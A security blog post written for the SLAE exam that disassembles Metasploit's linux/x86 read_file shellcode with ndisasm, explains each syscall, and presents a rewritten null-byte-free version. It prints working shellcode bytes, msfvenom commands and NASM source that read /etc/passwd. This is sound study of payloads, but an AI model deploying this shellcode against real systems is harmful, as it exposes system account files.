Metasploit Shellcode Analysis – read_file via ndisasm (SLAE Exam #5.1)
Assignment #5 for theSLAE exam is to perform Metasploit shellcode analysis.
Metasploit Shellcode Analysis – Introduction
First, the requirements for assignment #5 were as follows.
Take up at least 3 shellcode samples created using Msfpayload for linux/x86Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcodePresent your analysis
With that in mind, I decided to use each tool once, for each shellcode that I selected. The usage of each tool would be the same, and it will save me some writing/extra posts. Additionally, analyzing the shellcode in-depth with one of these tools should cover the functionality well enough.
With that in mind, let’s jump right in!
Shellcode Selection
I needed to select the three shellcodes that I would analyze.
First, I grabbed a list of the linux/x86 payloads from msfvenom. Note that I removed what each payload does to save some space.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -l payloads | grep linux/x86linux/x86/adduserlinux/x86/chmodlinux/x86/execlinux/x86/meterpreter/bind_ipv6_tcplinux/x86/meterpreter/bind_ipv6_tcp_uuidlinux/x86/meterpreter/bind_nonx_tcplinux/x86/meterpreter/bind_tcplinux/x86/meterpreter/bind_tcp_uuidlinux/x86/meterpreter/find_taglinux/x86/meterpreter/reverse_ipv6_tcplinux/x86/meterpreter/reverse_nonx_tcplinux/x86/meterpreter/reverse_tcplinux/x86/meterpreter/reverse_tcp_uuidlinux/x86/meterpreter_reverse_httplinux/x86/meterpreter_reverse_httpslinux/x86/meterpreter_reverse_tcplinux/x86/metsvc_bind_tcplinux/x86/metsvc_reverse_tcplinux/x86/read_filelinux/x86/shell/bind_ipv6_tcplinux/x86/shell/bind_ipv6_tcp_uuidlinux/x86/shell/bind_nonx_tcplinux/x86/shell/bind_tcplinux/x86/shell/bind_tcp_uuidlinux/x86/shell/find_taglinux/x86/shell/reverse_ipv6_tcplinux/x86/shell/reverse_nonx_tcplinux/x86/shell/reverse_tcplinux/x86/shell/reverse_tcp_uuidlinux/x86/shell_bind_ipv6_tcplinux/x86/shell_bind_tcplinux/x86/shell_bind_tcp_random_portlinux/x86/shell_find_portlinux/x86/shell_find_taglinux/x86/shell_reverse_tcp
As I’ve already written abind shellcode and areverse shellcode, I decided to go with something different.
In this case, I’ll be covering the adduser, chmod, and read_file linux/x86 shellcodes.
Read File Shellcode – Ndisasm Analysis
First, I’ll break down the linux/x86/read_file payload usingndisasm.
Before I generated the payload, I took a look at the potential options. I’ll skip the advanced ones, as we just want the basic payload.
As you can see, we just have to set the file descriptor (the default being 1 – STDOUT), and the path to the file.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file --payload-optionsOptions for payload/linux/x86/read_file: Name: Linux Read File Module: payload/linux/x86/read_file Platform: Linux Arch: x86Needs Admin: No Total size: 62 Rank: NormalProvided by: halBasic options:Name Current Setting Required Description---- --------------- -------- -----------FD 1 yes The file descriptor to write output toPATH yes The file path to readDescription: Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
I decided to generate a payload to read the first 4096 bytes of /etc/password and write it to STDOUT.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file FD=1 PATH=/etc/passwd -f cNo platform was selected, choosing Msf::Module::Platform::Linux from the payloadNo Arch selected, selecting Arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 73 bytesFinal size of c file: 331 bytesunsigned char buf[] = "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8""\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80""\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8""\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff""\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
With the 73 byte shellcode generated, it was time to add it to my C wrapper. After this was complete, I compiled and tested the application. As expected, it worked perfectly!
Note that the shellcode length is improperly printed as 4 bytes. This is due to the null bytes in the unencoded Metasploit shellcode.
doyler@slae:~/slae/_exam/msf_analysis$ gcc -o shellcode -z execstack -fno-stack-protector shellcode.cdoyler@slae:~/slae/_exam/msf_analysis$ ./shellcode Shellcode Length: 4root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/sh... snip ...saned:x:114:123::/home/saned:/bin/falsedoyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bashvboxadd:x:999:1::/var/run/vboxadd:/bin/falsesshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
Next, I piped the raw shellcode to ndisasm to begin my analysis.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file FD=1 PATH=/etc/passwd -f raw | ndisasm -u -No platform was selected, choosing Msf::Module::Platform::Linux from the payloadNo Arch selected, selecting Arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 73 bytes00000000 EB36 jmp short 0x3800000002 B805000000 mov eax,0x500000007 5B pop ebx00000008 31C9 xor ecx,ecx0000000A CD80 int 0x800000000C 89C3 mov ebx,eax0000000E B803000000 mov eax,0x300000013 89E7 mov edi,esp00000015 89F9 mov ecx,edi00000017 BA00100000 mov edx,0x10000000001C CD80 int 0x800000001E 89C2 mov edx,eax00000020 B804000000 mov eax,0x400000025 BB01000000 mov ebx,0x10000002A CD80 int 0x800000002C B801000000 mov eax,0x100000031 BB00000000 mov ebx,0x000000036 CD80 int 0x8000000038 E8C5FFFFFF call dword 0x20000003D 2F das0000003E 657463 gs jz 0xa400000041 2F das00000042 7061 jo 0xa500000044 7373 jnc 0xb900000046 7764 ja 0xac00000048 00 db 0x00
While this shellcode is fairly straightforward, I am going to break it into six distinct sections for my analysis.
String Initialization
First, I’ll break down everything from bytes 0000003D until the end.
While the instructions look confusing, this is actually just initialized data used to define the file path to read.
As you can see when decoding this, it is the null terminated “/etc/passwd” string.
>>> "2F6574632F706173737764".decode("hex")'/etc/passwd'
In the actually assembly file, it might look something like this:
message: db 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x00
JMP-CALL-POP
Next up is calls from a few different sections of the disassembled application.
00000000 EB36 jmp short 0x3800000038 E8C5FFFFFF call dword 0x200000007 5B pop ebx
If this looks familiar, it is because I haveused it before.
These three instructions perform a jmp-call-pop to load the variable (in this case, /etc/passwd) into EBX.
System Call #1 – Open
You can find the first system call, and earlier register setup, below.
00000002 B805000000 mov eax,0x500000007 5B pop ebx00000008 31C9 xor ecx,ecx0000000A CD80 int 0x80
This is a simple system call to sys_open, and the parameters are as follows.
- EAX – 0x5 (sys_open)
- EBX – /etc/passwd (pathname)
- ECX – 0 (flags)
This calls sys_open on /etc/passwd with no flags.
System Call #2 – Read
As expected, the next system call is to read.
0000000C 89C3 mov ebx,eax0000000E B803000000 mov eax,0x300000013 89E7 mov edi,esp00000015 89F9 mov ecx,edi00000017 BA00100000 mov edx,0x10000000001C CD80 int 0x80
The registers are setup as follows.
- EAX – 0x3 (sys_read)
- EBX – returned FD from sys_open (file descriptor)
- ECX – ESP (buffer to read file into)
- EDX – 0x1000 (number of bytes to read)
This system call will execute sys_read on the opened file, and read the first 4096 bytes.
System Call #3 – Write
Next up we have a call to write. While this may seem slightly confusing, the application has to output the file that we read with sys_read.
0000001E 89C2 mov edx,eax00000020 B804000000 mov eax,0x400000025 BB01000000 mov ebx,0x10000002A CD80 int 0x80
As before, you can find the register/parameter configuration below.
- EAX – 0x4 (sys_write)
- EBX – 0x1 (FD1, STDOUT)
- ECX – ESP (buffer to write bytes from)
- EDX – returned number of bytes read from sys_read (number of bytes to write)
This call will write the bytes that sys_read read into ESP to STDOUT, so that you can actually view the file contents.
System Call #4 – Exit
Last, but not least, we have our exit call.
0000002C B801000000 mov eax,0x100000031 BB00000000 mov ebx,0x000000036 CD80 int 0x80
The registers are super straightforward, and setup as expected.
- EAX – 0x1 (sys_exit)
- EBX – 0x0 (exit code 0)
This will cleanly exit the program with no error code.
Metasploit Shellcode Analysis – Optimization
While I didn’t want to use one of the included Metasploit encoders, there were still some optimizations that I could make.
From the looks of the first code, I’d be able to shorten the shellcode and remove all the null bytes.
First, I replaced all the MOV E(A/B/C/D)X operations with the lower 8-bit register. Where necessary, I zeroed out the register first as well with a XOR operation. This saved 10 bytes, as well as removing a number of nulls.
Next, I removed the null terminator from the /etc/passwd string, saving another (null byte).
Finally, I modified the MOV edx, 0x1000 call. Due to the size of the value, I wasn’t able to use the DL register. That said, I was able to save one byte and remove the null with the following operations:
xor edx,edxmov dh,0x10
As you can see, I just loaded 0x10 into the higher 8-bits of DX after zeroing out the rest.
Testing and Validation
With my changes in place, it was time to test the new shellcode.
As you can see, the wrapper application properly executes!
doyler@slae:~/slae/_exam/msf_analysis$ ./shellcode Shellcode Length: 61root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/sh
Not only did I remove all the nulls, but I was also able to save 12 bytes off of the original payload!
The Code
I’ve included my assembly code below. Where relevant, I also included the original Metasploit code as a comment, with my change below.
There are no hardcoded jumps, so you can modify the message to a different file.
; Filename: metasploit_read_passwd.nasm; Author: Ray Doyle (@doylersec); Website: https://www.doyler.net;; Purpose: SLAE Exam Assignment #5 - Metasploit read_file shellcode (Linux/x86) for /etc/passwd with no null bytesglobal _start section .text_start: jmp short call_shellcodeshellcode: ;mov eax,0x5 xor eax,eax mov al,0x5 pop ebx xor ecx,ecx int 0x80 mov ebx,eax ;mov eax,0x3 mov al,0x3 mov edi,esp mov ecx,edi ;mov edx,0x1000 xor edx,edx mov dh,0x10 int 0x80 mov edx,eax ;mov eax,0x4 xor eax,eax mov al,0x4 ;mov ebx,0x1 xor ebx,ebx mov bl,0x1 int 0x80 ;mov eax,0x1 xor eax,eax mov al,0x1 ;mov ebx,0x0 xor ebx,ebx int 0x80call_shellcode: call shellcode message: db 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64
Metasploit Shellcode Analysis – Conclusion
This was a nice change of pace from writing my shellcode, but I still learned plenty.
As you can see, I’ve decided to break this assignment down into three parts.
Next week will be another analysis, but I will let the technique and shellcode be a surprise!
Finally, you can find the code and updates in myGitHub repository.
SLAE Exam Requirement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1212
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure pagehere. As an Amazon Associate, I earn from qualifying purchases.
Leave a ReplyCancel Reply
This site uses Akismet to reduce spam.Learn how your comment data is processed.